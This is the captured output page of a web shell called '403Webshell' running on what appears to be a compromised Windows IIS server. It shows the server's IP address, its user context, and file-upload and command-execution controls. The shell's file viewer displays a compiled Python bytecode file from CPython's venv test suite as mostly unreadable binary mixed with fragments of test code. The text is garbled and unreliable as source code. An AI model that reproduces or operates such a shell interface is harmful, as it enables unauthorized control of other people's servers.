403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.123
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_venv.cpython-315.opt-1.pyc
R
>lqj�c��Qs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
]PH,s]PH0s]QH4GsGsGsGsGsGsGsGsGsGsGsGs]QHhGsGsGsGsGs]PH�s ]PH�s!]QH�G#s#G$s$]PH�s%\ ON\
OP\
OR6H9%f\
OT\
OV6gQ2s,\%f\%f	\%c\ OZQ2g\2QQk2s.QQ\ O^2s0Q	Q
\02s1\,QQ\022s2\3Q
6Xc\ Oh2P!P!\&cPs%K�h9h)z|
Test harness for the venv module.

Copyright (C) 2011-2012 Vinay Sajip.
Licensed to the PSF under a contributor agreement.
)�captured_stdout�captured_stderr�*skip_if_broken_multiprocessing_synchronize�verbose�requires_subprocess�
is_android�is_apple_mobile�	is_wasm32�requires_venv_with_pip�
TEST_HOME_DIR�requires_resource�copy_python_src_ignore)�can_symlink�EnvironmentVarGuard�rmtree�TESTFN�FakePath)�patch�Mockz:cannot run venv.create from within a venv on this platformz&venv is not available on this platformc���[OU[O[O-[OAQP-AQ5oUO2vq4UO%c\[%c.U%c&[SOS9%fQQ22[OUOVU2gU%c%UOUQ2UOUQ21!V41!)�
PYTHONHOME)�stdout�stderr�env�utf-8�backslashreplace)�
subprocess�Popen�PIPE�os�environ�communicate�
returncoder�print�decode�CalledProcessError)�cmd�encoding�p�out�errs&&   �#C:\Python315\\Lib\test\test_venv.py�check_outputr+/s�������������,�r�z�z�,�<��,�	.�A��}�}��H�C��|�|�|��7�s��#�*�*�X�0�0��2D�E�F��+�+�
�L�L�#�C�)�	)���J�J�x�!3�4��J�J�x�!3�4�
�	
��8�O�c�^`�\sQs]BsnQsQsQsQsQP
-QksQs	Qs
QQ	-Q
ksQsUs
P!)
�BaseTestzBase class for venv tests.c�z�[OO[O22Um[OQ6XcQUmQUmQUm	L-QUmQQ[O201UmQUm	[Oo[OOU2P*Um[O Q6XcT[OO#U2%c/[OO%U2%f
P	UmP!P
UmP!)	�nt�Scripts�Include�bin�lib�python�include�win32��Lib)r�path�realpath�tempfile�mkdtemp�env_dir�name�bindirr4r6�	sysconfig�_get_python_version_abi�sys�_base_executable�split�exe�platform�lexists�exists�cannot_link_exe)�self�
executables& r*�setUp�BaseTest.setUpFs����w�w�'�'��(8�(8�(:�;���
�7�7�d�?�#�D�K��D�H�$�D�L��D�K���	�(I�(I�(K�'L�M�N�D�H�$�D�L��)�)�
��7�7�=�=��,�R�0����L�L�G�#������
�+�+��G�G�N�N�:�.�.�#'�D� �#(�D� r,c�2�[UO2P!�N)rr>�rKs&r*�tearDown�BaseTest.tearDownYs���t�|�|�r,�real_env_dirc���U%c+[OOUO2oLUOo[OO	V O
UO2!rP)rr:r;r>�joinr@rF)rKrTr>s&$ r*�envpy�BaseTest.envpy\sC����g�g�&�&�t�|�|�4�G��l�l�G��w�w�|�|�G�[�[�$�(�(�;�;r,c	��[29^tt^2o[29^tt^2oUU-U@PPP2PPP2WO2WO21!)%fhK89h)%fhKC9hrP)rr�getvalue)rK�func�args�kwargs�output�errors&&*,  r*�run_with_capture�BaseTest.run_with_capturecs\��
�
�
�&� �"�"�e��d�%�f�%�#����� �%�.�.�"2�2�2�#�"���
�s-�A4�
A!	�A4�!A1
�*A1
�,A4�4B	�=B	c�^�[OOUO,UN3!rP)rr:rVr>�rKr\s&*r*�get_env_file�BaseTest.get_env_fileis���w�w�|�|�D�L�L�0�4�0�0r,r&rc��[UOUQUQ59^tt^2oUO2oPPP2U!)%fhW!9h)�r�r&)�openrd�read)rKr&r\�f�results&$*  r*�get_text_file_contents�BaseTest.get_text_file_contentslsC��
�$�#�#�T�*�C�(�
C�
C�q��V�V�X�F�D��
�D�
C��
�s�A�A	�A	)r@rJr>rFr6r4i�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�maxDiffrMrRrWr`rdrm�__static_attributes__�__classdictcell__��
__classdict__s@r*r.r.Bs>����$��G�)�&�<�E�<�3�1��W��r,r.c��`�\sQs]qsnQsQsQsQsQsQs	Qs
Qs\Q	2s
\Q
2s\\O \2Q2Q22s\O(Q
6XcQ>sL<Q?Q@QAQQ\O,Q**1QQ\O,Q**Q11sQs\O \\Q2Q2Q2sQsQsQsQsQs\O \2Q2Q2s \Q2s!\O \2Q2Q2s"\OF\OHQ6HQ2Q 2s%\OF\OHQ6HQ2\OF\O(OMQ!2Q"2Q#22s'\O \OHQ6HQ$2Q%2s(\O \OHQ6HQ$2Q&2s)\O \OHQ6HQ$2Q'2s*\O \OHQ6HQ$2Q(2s+\O \OHQ6H9%c\2Q)2Q*2s,\Q+2s-\Q,2s.\OF\OHQ6HQ-2Q.2s/\OF\OHQ6HQ-2Q/2s0\O \O(Q06HQ12Q22s1Q3s2\OF\OHQ6HQ-2\Q422s3\Q52s4\Q62s5\Q72s6\Q82s7\Q92s8\Q:2s9Q;s:\\O \OHQ6HQ$2Q<22s;Q=s<Us=P!)B�	BasicTestzTest venv module functionality.c��UOUoUO[OO	U22P!rP)rd�
assertTruerr:�isdir)rKr\�fns&* r*r}�BasicTest.isdirts+��
�
�
��
%��������
�
�b�)�*r,c��[UO2UO[OUO2UO2P!)zA
Test the create function with default arguments and a str path.
)rr>r`�venv�create�_check_output_of_default_createrQs&r*�test_defaults_with_str_path�%BasicTest.test_defaults_with_str_pathxs4��	�t�|�|�����d�k�k�4�<�<�8��,�,�.r,c��[UO2UO[O[UO22UO
2P!)zG
Test the create function with default arguments and a path-like path.
)rr>r`r�r�rr�rQs&r*�test_defaults_with_pathlike�%BasicTest.test_defaults_with_pathlike�s9��	�t�|�|�����d�k�k�8�D�L�L�+A�B��,�,�.r,c���UOUO2UOUO2UOUOUO	Q2o[
OOU2%c/UO[
OOU22UOQ2o[Oo[
OOU2oUOQU*U2UOQ[
OO[O 2*U2[
O"Q6XcPLQoQ[O QUQUO$0oUOVb2UO	UOUO&2o[
OOU2%fTUO	UO2o[)Q	U*2[)Q
[
O*U2*2UO-[
OOU2QU*2P!)�lib64�
pyvenv.cfgz	home = %szexecutable = %sr0z	 --copiesz
command = z -m venvz* --without-pip --without-scm-ignore-files �Contents of %r:�    %r�File %r should exist.)r}r@r6r4rdrr:rI�assertFalse�islinkrmrCrD�dirname�assertInr;rLr?r>rFr"�listdirr|)	rKr'�datarLr:�copiesr%r~�bds	&        r*r��)BasicTest._check_output_of_default_create�s����
�
�4�;�;���
�
�4�<�<� ��
�
�D�H�H�����g�&��
�7�7�>�>�!������R�W�W�^�^�A�.�/��*�*�<�8���)�)�
��w�w���z�*���
�
�k�D�(�$�/��
�
�'��g�g�&�&�s�~�~�6�7�8<�	>��w�w��}��+���C�N�N�+�8�F�8�<-�-1�\�\�N�<���
�
�c� �
�
�
�t�{�{�D�H�H�
5���w�w�~�~�b�!�!��"�"�4�;�;�/�B��#�b�(�)��(�R�Z�Z��^�+�,���������r�*�,C�b�,H�Ir,c���Q	Q
QQQ
QQQQQ[21,	oSFCD+vq#oUOV#UQ59^tt^2[UO2U%f-oLV4-o[O
Q-U@o[
2Um[
2UmUOUOUO2UOQ2oU%cUOQ2%c!QFDoUOUQU02J	L2[OQ6Xc	UQ6XcLUO!UQU02PPP2CJ.	P!)%fhCJD9h)N�symlinks�--without-scm-ignore-files�scm_ignore_files)�opt�attr�valuer��gitz
command = .* r0)NNN)z--copiesr�F)�
--without-pip�with_pipF)�--system-site-packages�system_site_packagesT)�--clear�clearT)�	--upgrade�upgradeT)�--upgrade-deps�upgrade_depsT)z--prompt="foobar"�prompt�foobar�)r�r�r�r�z--prompt)�	frozenset�subTestrr>r��
EnvBuilderr�upgrade_dependencies�
_setup_pipr`r�rm�endswith�assertNotRegexrr?�assertRegex)rK�optionsr�r�r�r]�br�s&       r*�test_config_file_command_key�&BasicTest.test_config_file_command_key�s-���+�0�D�&�*�4�5�
)�+=�y�{�K�

��!(��C�u����#���>�>��t�|�|�$���F�"�]�F��O�O�-�f�-��)-���&�#�v����%�%�a�h�h����=��2�2�<�@���s�|�|�E�2�2� >���+�+�D�]�3�%�2H�I� >��W�W�d�]�t�Z�'7���$�$�T�m�C�5�+A�B�%?�>�!(�>�>�>�s0�E
	�A9E
	�E
	�,4E
	�!E
	�(E
	�
E
�E
c���[OOUO2]*o[	UO2[
O2oUOUOUO2UOUO2oUOQ2oUOUOU2UOQU2[	UO2[
OQQ5oUOUOUO2UOUO2oUOQ2oUOUOQ2UOQU2[	UO2[
OQQ5o[OO[O 22oUOUOUO2UOUO2oUOQ2oUOUOU2UOQU*U2P!)�r�z	prompt = z	My prompt)r�zprompt = 'My prompt'
�.zprompt = '%s'
)rr:rEr>rr�r�r`r��ensure_directoriesrm�assertEqualr��assertNotInr��basename�getcwd)rK�env_name�builder�contextr��cwds&     r*�test_prompt�BasicTest.test_prompt�s����7�7�=�=����.�q�1���t�|�|���/�/�#�����g�n�n�d�l�l�;��,�,�T�\�\�:���*�*�<�8���������2�����d�+��t�|�|���/�/��5�����g�n�n�d�l�l�;��,�,�T�\�\�:���*�*�<�8���������5��
�
�.��5��t�|�|���/�/��-���g�g���r�y�y�{�+�����g�n�n�d�l�l�;��,�,�T�\�\�:���*�*�<�8���������-��
�
�'�#�-�t�4r,c	�8``�[O2oQo[OO	[
O2]*o[OO[
O2o[
OQ6XciQo[OO[OOU2]*2OQ2%cQoLQoUQ*o[O29^tt^2o[OO[OOVRU22n[
OQ6Xc=[OO[OO!R22nUU1QkoUO#U2o[%QU29^tt^2UO'U2PPP2PPP2P!)%fhK9h)%fhP!9h)	r3r7r1�_d�python_dr5z.exec�`:�ROUQ*,QN2[OO[OO	U]*22o[OO[OO	R22oROV#2P!):r�NN)�-m�pip�installr�r�)r�rr:�normcaser�)r%r]�exe_dir�expected_dir�
expect_exerKs&,  ��r*�pip_cmd_checker�<BasicTest.test_upgrade_dependencies.<locals>.pip_cmd_checker�ss���� � ���G��	��'�'�*�*�2�7�7�?�?�3�q�6�+B�C��!�w�w�/�/������
�0K�L��� � ��7r,zvenv.subprocess.check_output)r�r�rr:rErCrLr�rDrGr��splitextr�r<�TemporaryDirectoryrVr;r�rr�)	rKr��bin_path�
python_exe�expected_exe�fake_env_dirr��fake_contextr�s	f       @r*�test_upgrade_dependencies�#BasicTest.test_upgrade_dependencies�sa����/�/�#�����W�W�]�]�3�>�>�2�1�5�
��w�w�'�'��(<�(<�=���<�<�7�"� �H��w�w������ 0� 0�� <�Q� ?�@�I�I�$�O�O�)��'��%��.�J�
�
(�
(�
*�
*�l����)�)������\�\�B��J��|�|�w�&��W�W�-�-�b�g�g�.>�.>�z�.J�K�
�

8�#�5�5�l�C�L��5��G�G��,�,�\�:�H�/+�
*�.H�G��/+�
*�
*�s8�AH�)A(H�G5	�#H�5H
�>H
�H�H	�H	c��[UO2UO[OUO2UO2QP,oQUO1QUO1Q[O1Q[O11FDuvq#QU*U]$[U2vqEUO[OUO2O22[OU2U2Jw	P!)z.
Test that the prefix values are as expected.
�-c�prefix�exec_prefix�base_prefix�base_exec_prefixzimport sys; print(sys.%s))rr>r`r�r�rWrCr�r�r+r��pathlib�Path�stripr#)rKr%r��expectedr(r)s&     r*�
test_prefixes�BasicTest.test_prefixess���	�t�|�|�����d�k�k�4�<�<�8��z�z�|�T�4�(��
�t�|�|�$�
�D�L�L�)�
�C�O�O�,�
��!5�!5�6�	!8��F�
1�6�9�C��F�#�C�(�H�C����W�\�\�#�)�)�+�*<�*<�*>�?�$�\�\�(�3�V�
=�!8r,c��[UO2UO[OUOP
Q5UO2QP,oQQQ[
[O221Q[O21Q[O21Q[
[OQ2211FDbvq#UOU29^tt^2QU*U]$[UQ	Q
5vqEUOUO2V52PPP2Jd	QUO21Q[ O"11FD_vqcUOU29^tt^2Q
UQ0U]$[UQ	Q
5vqEUOUO2V52PPP2Ja	P!)%fhCJ9h)%fhJ�9h)�B
Test that the sysconfig functions work in a virtual environment.
�r�r��is_python_build()�get_makefile_filename()�get_config_h_filename()�!get_config_var("Py_GIL_DISABLED")�Py_GIL_DISABLED�%import sysconfig; print(sysconfig.%s)rrhrLr��import sys; print(sys.�)�zget_preferred_scheme("prefix")r��zget_default_scheme()r�)rr>r`r�r�rW�strrA�is_python_build�get_makefile_filename�get_config_h_filename�get_config_varr�r+r�r�rCr��rKr%�callr�r(r)r�s&      r*�test_sysconfig�BasicTest.test_sysconfigs���
	�t�|�|�����d�k�k�4�<�<�%��H��z�z�|�T�4�(��
7�,�
 �#�i�&?�&?�&A�"B�C�
&�	�(G�(G�(I�J�
&�	�(G�(G�(I�J�
0�
��)�)�*;�<�
=�
?�	@�N�D����d�#�#�@�4�G��A��'��g�>���� � �����h�<�$�#�	@��4�:�:�<�(��C�O�O�,�	
�N�D����d�#�#�1�$��q�9��A��'��g�>���� � �����h�<�$�#�

�	$�#�#��$�#�#�s$�$<F6	�/9G	�6G
�?G
�G
�G
zNeeds symlinksc��[UO2UO[OUOP	Q5UO2QP,oQQQ[
[O221Q[O21Q[O21Q[
[OQ2211FDbvq#UOU29^tt^2QU*U]$[UQ	Q
5vqEUOUO2V52PPP2Jd	QUO211FD_vqcUOU29^tt^2QUQ
0U]$[UQ	Q
5vqEUOUO2V52PPP2Ja	P!)%fhJ�9h)%fhJ�9h)r�r�r�r�r�r�r�r�r�rrhrLr�r�r�r�)rr>r`r�r�rWr�rAr�r�r�r�r�r+r�r�r�s&      r*�test_sysconfig_symlinks�!BasicTest.test_sysconfig_symlinks9s{��	�t�|�|�����d�k�k�4�<�<�$��G��z�z�|�T�4�(��
7�,�
 �#�i�&?�&?�&A�"B�C�
&�	�(G�(G�(I�J�
&�	�(G�(G�(I�J�
0�
��)�)�*;�<�
=�
?�	@�N�D����d�#�#�@�4�G��A��'��g�>���� � �����h�<�$�#�	@��4�:�:�<�(�
�N�D����d�#�#�1�$��q�9��A��'��g�>���� � �����h�<�$�#�
�	$�#�#��$�#�#�s$�$<F%	�9F9	�%F6
�.F6
�9G

�G

r7�
site-packagesr4zpython%d.%d:N�Nc	�d�SFD�o[OOUO,UN3o[OU2[OOVB2o[UQ29^tt^2oUO
Q2PPP2J�	P!)%fhJ�9h)zV
Create some files in the environment which are unrelated
to the virtual environment.
�wb�Still here?)rr:rVr>�mkdirri�write)rK�paths�filename�subdirs�dr~rks&&&    r*�create_contents�BasicTest.create_contentslsp��
�G������T�\�\�4�G�4�A��H�H�Q�K������a�*�B��b�$���1�����'� ��	� ���s�>B	�B/
�'B/
�	listxattrztest requires os.listxattrc���[Q29^tt^2o[OUO2UO	2PPP2P!)%fhP!9h)zZ
gh-145417: Test that install_scripts does not copy SELinux context
when copying scripts.
zos.listxattr)rr�r�r>�assert_not_called)rK�listxattr_mocks& r*�test_install_scripts_selinux�&BasicTest.test_install_scripts_selinuxxs<���>�
"�
"�n��K�K����%��,�,�.�#�
"�
"�
"�s�1A�A!	�A!	c	�`�UOUOQ2[OUO2UOFD�o[
OOUO,UQ*N3oUO[
OOU22[UQ29^tt^2oUOUO2Q2PPP2J�	[OP	Q5oUOUO2UOFDeo[
OOUO,UQ*N3oUO[
OOU22Jg	P!)%fhCJb9h)z5
Test creating environment in an existing directory.
�foo�rbr�r�)r)r
�ENV_SUBDIRSr�r�r>rr:rVr|rIrir�rjr�r�)rKrr~rkr�s&    r*�test_overwrite_existing�!BasicTest.test_overwrite_existing�s��	
���T�-�-�u�5����D�L�L�!��'�'�G������d�l�l�B�g��.@�B�B��O�O�B�G�G�N�N�2�.�/��b�$���1�� � �����>�:� ��(��/�/��-�����t�|�|�$��'�'�G������d�l�l�B�g��.@�B�B����R�W�W�^�^�B�/�0�(� ���s�!F	�F-
�$F-
c��[OU2FD�o[OOV2o[OO	U2%f&[OOU2%c[OU2J�[OOU2%fJ�[U2J�	P!rP)	rr�r:rVr��isfile�remover}r)rKr:r~s&& r*�clear_directory�BasicTest.clear_directory�sq���*�*�T�"�B������d�'�B��w�w�~�~�b�!�!�R�W�W�^�^�B�%7�%7��	�	�"�
������r�"�"��r�
�#r,c	��UOQ*FD�o[OOUO,UN3o[UQ29^tt^2oUO
Q2PPP2UO[[1[OUO2UOUO2J�	P!)%fhKf9h):N�Nrr,)
rrr:rVr>rir�assertRaises�
ValueError�OSErrorr�r�r)rKr	r~rks&   r*�test_unoverwritable_fails�#BasicTest.test_unoverwritable_fails�s����%�%�b�)�)�E������d�l�l�3�U�3�B��b�$���1������ ����z�7�3�T�[�[�$�,�,�O�� � ����.�*���s�C
	�
C
�C
c���QFCDfo[OUQ5oUOUOUO2UOUO2UOUO2UO
UOUOUOUO2o[OOU2%fTUOUO2o[QU*2[Q[OU2*2UO![OOU2QU*2CJi	P!)z3
Test upgrading an existing environment directory.
)r�r�r�r��FT)r�r�r`r�r>r}r@r6r4rdrFrr:rIr"r�r|)rKr�r�r~r�s&    r*�test_upgrade�BasicTest.test_upgrade�s���%�G��o�o�g�6�G��!�!�'�.�.�$�,�,�?��J�J�t�{�{�#��J�J�t�|�|�$��J�J����!��"�"�4�;�;����9�B��7�7�>�>�"�%�%��&�&�t�{�{�3���'�"�,�-��h����B��/�0��O�O�B�G�G�N�N�2�.�0G�"�0L�M�%r,c���QFDbvq[OP	UQ5oUOUO2UO	Q2oUOQU*U2Jd	P!)z*
Test isolation from system site-packages
)r�r�r�z"include-system-site-packages = %s
))T�true)F�false)r�r�r�r>rmr�)rK�ssp�sr�r�s&    r*�test_isolation�BasicTest.test_isolation�sT��9�F�C��o�o�D�s�K�G��N�N�4�<�<�(��.�.�|�<�D��M�M�?�!�C�T�J�	9r,c���QFD�o[OP	UQ5oUOUO2UO	UO
UO2oU%fJfUO%c1UO[OOU22J�UO[OOU22J�	P!)z#
Test symlinking works as expected
�r�r�r))
r�r�r�r>rdr@rFrJr�rr:r�r|)rK�uslr�r~s&   r*�test_symlinking�BasicTest.test_symlinking�s���
!�C��o�o�D�3�?�G��N�N�4�<�<�(��"�"�4�;�;����9�B��s��'�'�'��$�$�R�W�W�^�^�B�%7�8��O�O�B�G�G�N�N�2�$6�7�!r,c�&�[UO2UO[OUO2UOP	Q5o[
UQQ,2vq#UOUO2UO22P!)�4
Test that the sys.executable value is as expected.
�rTr��!import sys; print(sys.executable))
rr>r`r�r�rWr+r�r��encode)rKrWr(r)s&   r*�test_executable�BasicTest.test_executable�sl��
	�t�|�|�����d�k�k�4�<�<�8��
�
��
�-�����/�!1�2����������e�l�l�n�5r,c�8�[UO2[OP	P	Q5oUO	UO2UOP	Q5o[
UQQ,2vq4UOUO2UO22P!)r9r4r:r�r;)
rr>r�r�r�rWr+r�r�r<)rKr�rWr(r)s&    r*�test_executable_symlinks�"BasicTest.test_executable_symlinks�st��
	�t�|�|���/�/��t�<�����t�|�|�$��
�
��
�-�����/�!1�2����������e�l�l�n�5r,r0z&contains invalid characters on Windowsc��[UO2[OQ2oUeUO	Q2Qo[
OO[
OOUO2U2o[OP	Q5oUOU2[
OOV0OQ2o[
OOUOQ2o[UQ29^tt^2oUOQ[O U2Q	02PPP2[#V,2vq�UO%2o
UO'UO)2U
]*72UO+U
]*UO)22P!)%fhK�9h)
z;
Test that the template strings are quoted properly (bash)
�bash�bash required for this test�
"';&&$e|'"r�activateztest_special_chars.sh�w�source �r
python -c 'import sys; print(sys.executable)'
python -c 'import os; print(os.environ["VIRTUAL_ENV"])'
deactivate
�rr>�shutil�which�skipTestrr:rVr;r�r�r�r@rir�shlex�quoter+�
splitlinesr|r<�assertEndsWith)rKrCr�r>r�rF�test_scriptrkr(r)�liness&          r*�test_special_chars_bash�!BasicTest.test_special_chars_bash�s>��
	�t�|�|���|�|�F�#���<��M�M�7�8�!���'�'�,�,�r�w�w�/�/����=�x�H���/�/��-�����w���7�7�<�<����j�A���g�g�l�l�4�<�<�1H�I��
�+�s�
#�
#�q�
�G�G�g�e�k�k�(�3�4�5#�#�
$�$�
 �� 3�4������ ��������)�U�1�X�5�6����E�!�H�h�o�o�&7�8�$�
#�s�*F=�=G
	�G
	�netbsdz9NetBSD csh fails with quoted special chars; see gh-139308c���[UO2[OQ29%f[OQ2oUeUO	Q2Qo[
OO[
OOUO2U2o[OP	Q5oUOU2[
OOV0OQ2o[
OOUOQ2o[UQ29^tt^2oUOQ	[O U2Q
02PPP2[#V,2vq�UO%2o
UO'UO)2U
]*72UO+U
]*UO)22P!)%fhK�9h)z:
Test that the template strings are quoted properly (csh)
�tcsh�cshzcsh required for this testrErzactivate.cshztest_special_chars.cshrGrHrIrJ)rKrYr�r>r�rFrRrkr(r)rSs&          r*�test_special_chars_csh� BasicTest.test_special_chars_cshsO��	�t�|�|���l�l�6�"�9�9�f�l�l�5�&9���;��M�M�6�7�!���'�'�,�,�r�w�w�/�/����=�x�H���/�/��-�����w���7�7�<�<����n�E���g�g�l�l�4�<�<�1I�J��
�+�s�
#�
#�q�
�G�G�g�e�k�k�(�3�4�5#�#�
$�$�
 �� 2�3������ ��������)�U�1�X�5�6����E�!�H�h�o�o�&7�8�$�
#�s�9*G�G+	�$G+	zonly relevant on Windowsc�V�[UO2Qo[OO	[OOUO2U2o[OP	Q5oUOU2[OO	V OQ2o[OO	UOQ2o[UQ29^tt^2oUOQUQUOQUOQ	02PPP2[U,2vqxUO2o	UOUO!2U	]*72UO#U	]*UO!22P!)%fhK�9h)
z?
Test that the template strings are quoted properly on Windows
z'&&^$er�activate.batztest_special_chars.batrGz@echo off
"z" & z* -c "import sys; print(sys.executable)" & z> -c "import os; print(os.environ['VIRTUAL_ENV'])" & deactivate)rr>rr:rVr;r�r�r�r@rirrFr+rPr|r<rQ)
rKr�r>r�rF�
test_batchrkr(r)rSs
&         r*�test_special_chars_windows�$BasicTest.test_special_chars_windows,s.��
	�t�|�|�����'�'�,�,�r�w�w�/�/����=�x�H���/�/��-�����w���7�7�<�<����n�E���W�W�\�\�$�,�,�0H�I�
�
�*�c�
"�
"�a�
�G�G�� �z���x�x�j� J��x�x�j�!!�!�
"�#� ���-������ ��������)�U�1�X�5�6����E�!�H�h�o�o�&7�8�#�
"�s�00F�F(	�!F(	c���[UO2[OO	[OOUO2Q2o[OP	Q5oUOU2[OO	VOQ2o[UQUOQQ,QQ5vqEUOUO2Q	2P!)
z 
Test handling of Unicode paths
uϼўТλФЙrr]�&r�zprint(0)�oemrh�0)rr>rr:rVr;r�r�r�r@r+rFr�r�)rKr>r�rFr(r)s&     r*�test_unicode_in_batch_file�$BasicTest.test_unicode_in_batch_fileCs���
	�t�|�|���'�'�,�,�r�w�w�/�/����=�~�N���/�/��-�����w���7�7�<�<����n�E���
�s�D�H�H�d�J�7��
���	
�������c�*r,c�<�[UO2[OO	[OOUO2Q2o[OP	Q5oUOU2[OO	VOQ2o[OO	UOQ2o[UQ29^tt^2oUOQUQ02PPP2[U,2vqgUO2oUOU]*Q2UOU]*[O U22UOU]*Q2P!)%fhK�9h)	r�rr]ztest_disable_prompt.batrGzG@echo off
set "PROMPT=base$G"
set "VIRTUAL_ENV_DISABLE_PROMPT=1"
call "z"
echo ACTIVE_PROMPT:%PROMPT%
echo VIRTUAL_ENV:%VIRTUAL_ENV%
set "PROMPT=changed$G"
call deactivate
echo FINAL_PROMPT:%PROMPT%
sACTIVE_PROMPT:base$GsFINAL_PROMPT:changed$G)rr>rr:rVr;r�r�r�r@rirr+rPr�rQ�fsencode�	rKr>r�rFr^rkr(r)rSs	&        r*�)test_activate_bat_respects_disable_prompt�3BasicTest.test_activate_bat_respects_disable_promptSs"���t�|�|���'�'�,�,�r�w�w�/�/����=�v�F���/�/��-�����w���7�7�<�<����n�E���W�W�\�\�$�,�,�0I�J�
�
�*�c�
"�
"�a�
�G�G��&�J�'3�3�
4�#� ���-������ ������q��#:�;����E�!�H�b�k�k�'�&:�;�����q��#<�=�#�
"�s�.F�F	�F	c���[UO2[OO	[OOUO2Q2o[OP	Q5oUOU2[OO	VOQ2o[OO	UOQ2o[UQ29^tt^2oUOQUQ02PPP2[U,2vqgUO2oUOU]*Q2UOU]*Q2P!)%fhKb9h)	r�rr]ztest_enable_prompt.batrGzH@echo off
set "PROMPT=base) $G"
set "VIRTUAL_ENV_DISABLE_PROMPT="
call "zI"
echo ACTIVE_PROMPT:%PROMPT%
call deactivate
echo FINAL_PROMPT:%PROMPT%
sACTIVE_PROMPT:(venv) base) $GsFINAL_PROMPT:base) $G)rr>rr:rVr;r�r�r�r@rirr+rPr�ris	&        r*�,test_activate_bat_prefixes_prompt_by_default�6BasicTest.test_activate_bat_prefixes_prompt_by_defaultks���t�|�|���'�'�,�,�r�w�w�/�/����=�v�F���/�/��-�����w���7�7�<�<����n�E���W�W�\�\�$�,�,�0H�I�
�
�*�c�
"�
"�a�
�G�G��&�J�'3�3�
4�#� ���-������ ������q��#C�D�����q��#;�<�#�
"�s�.E�E.	�'E.	zsymlinks on Windowsc	���[UO2[OO	[OOUO2Q2o[
Q29^tt^2o[2Um[OP	P	Q5oUOUOU2vqEQoUOUQUQU02PPP2P!)%fhP!9h)z.
Test handling of failed symlinks on Windows.
r�z
os.symlinkr4z%'[A-Z]:\\\\(?:[^\\\\]+\\\\)*[^\\\\]+'zUnable to symlink z to )rr>rr:rVr;rr%�side_effectr�r�r`r�r�)rKr>�mock_symlinkr��_r)�filepath_regexs&      r*�test_failed_symlink�BasicTest.test_failed_symlink�s���	�t�|�|���'�'�,�,�r�w�w�/�/����=�v�F��
�<�
 �
 �L�'.�y�L�$��o�o�D�4�@�G��*�*�7�>�>�7�C�F�A�E�N����S�%7��7G�t�N�K[�"\�]�!�
 �
 �
 �s�1A C�C,	�$C,	c�6�[2[UO2UO[O
UO2[
UOP	Q5QQ,2vqUOUO2QO22P!)z1
Test that the multiprocessing is able to spawn.
r:r�zrfrom multiprocessing import Pool; pool = Pool(1); print(pool.apply_async("Python".lower).get(3)); pool.terminate()r5)rrr>r`r�r�r+rWr�r�r<�rKr(r)s&  r*�test_multiprocessing�BasicTest.test_multiprocessing�sr��	3�4��t�|�|�����d�k�k�4�<�<�8�������!>��
�! �!���
	
�������h�o�o�&7�8r,c�4�[2[UO2UO[O
UO2[OO[Q2o[OUOP	Q5QU,2P!)z7
Test that the multiprocessing is able to spawn itself
z_test_venv_multiprocessing.pyr:�-I)
rrr>r`r�r�rr:rVr
r�
check_callrW)rK�scripts& r*�test_multiprocessing_recursion�(BasicTest.test_multiprocessing_recursion�sc��
	3�4��t�|�|�����d�k�k�4�<�<�8������m�-L�M�����t�z�z�t�z�<�d�F�K�Lr,znot relevant on Windowsc���[OQ2oUeUOQ2[UO2[
OP	Q5oUOUO2[OOUOUOQ2o[OOUOQ2o[UQ29^tt^2oUOQUQ02PPP2[V,2vqgUOUPO!22UOUPO!22P!)%fhK`9h)rCrDrrFztest_strict.shrGzset -euo pipefail
source z
deactivate
�rKrLrMrr>r�r�r�rr:rVr@rirr+r�r<�rKrCr�rFrRrkr(r)s&       r*�%test_deactivate_with_strict_bash_opts�/BasicTest.test_deactivate_with_strict_bash_opts�s����|�|�F�#���<��M�M�7�8��t�|�|���/�/��-�����t�|�|�$��7�7�<�<����d�k�k�:�F���g�g�l�l�4�<�<�1A�B��
�+�s�
#�
#�q�
�G�G��&�Z�(#�#�
$�$� �� 3�4�������b�i�i�k�*�����b�i�i�k�*�
$�
#���'E�E%	�E%	c���[OQ2oUeUOQ2[UO2[
OP	Q5oUOUO2[OOUOUOQ2o[OOUOQ2o[UQ29^tt^2oUOQUQ02PPP2[V,2vqgUOUPO!22UOUPO!22P!)%fhK`9h)rCrDrrFztest_hash_disabled.shrGz set -euo pipefail
set +h
source z
deactivater�r�s&       r*�:test_deactivate_with_strict_bash_opts_and_hashing_disabled�DBasicTest.test_deactivate_with_strict_bash_opts_and_hashing_disabled�s����|�|�F�#���<��M�M�7�8��t�|�|���/�/��-�����t�|�|�$��7�7�<�<����d�k�k�:�F���g�g�l�l�4�<�<�1H�I��
�+�s�
#�
#�q�
�G�G��&�Z�(!�!�
"�$�
 �� 3�4�������b�i�i�k�*�����b�i�i�k�*�$�
#�r��darwinzonly relevant on macOSc�.�[UO2[O2oUO	UO2[UO
P	Q5QQ,2vq#UOUO2QO22P!)Tr:r�z5import os; print("__PYVENV_LAUNCHER__" in os.environ)�False)
rr>r�r�r�r+rWr�r�r<)rKr�r(r)s&   r*�test_macos_env�BasicTest.test_macos_env�sl���t�|�|���/�/�#�����t�|�|�$�������!>��C�!E�F����������g�n�n�&6�7r,c��[UO2UO[O*oUO	[
[OU2UO	[
[O[U22P!)zV
Test that venv creation fails when the target directory contains
the path separator.
)	rr>r�pathsepr#r$r�r�r)rK�bad_itempaths& r*�test_pathsep_error�BasicTest.test_pathsep_error�sS��
	�t�|�|���|�|�b�j�j�0�����*�d�k�k�<�@����*�d�k�k�8�L�3I�Jr,c��[UO2[Oo[O
O
[O22oUO[U2[O
OV O2o[OU2[O
O[O2o[O [O[O
OV422[O
OV!UO"]*2o[O$U2[O
OUQ2o[&O(Q2%cQLPoQ[O*O,[O*O.U0o[O
OUUU2o	,o
[O
FCD�oUO1Q2%c^[O
O3U2%c7[O4U[O
OV!22JvJx[O
O3[O
OUQ22%c�[O6U2o[9V�2o
SFD�oV�7cJUQ6XcJ[O
OV�2o[O
O3U2%c[O:V�2Jp[O
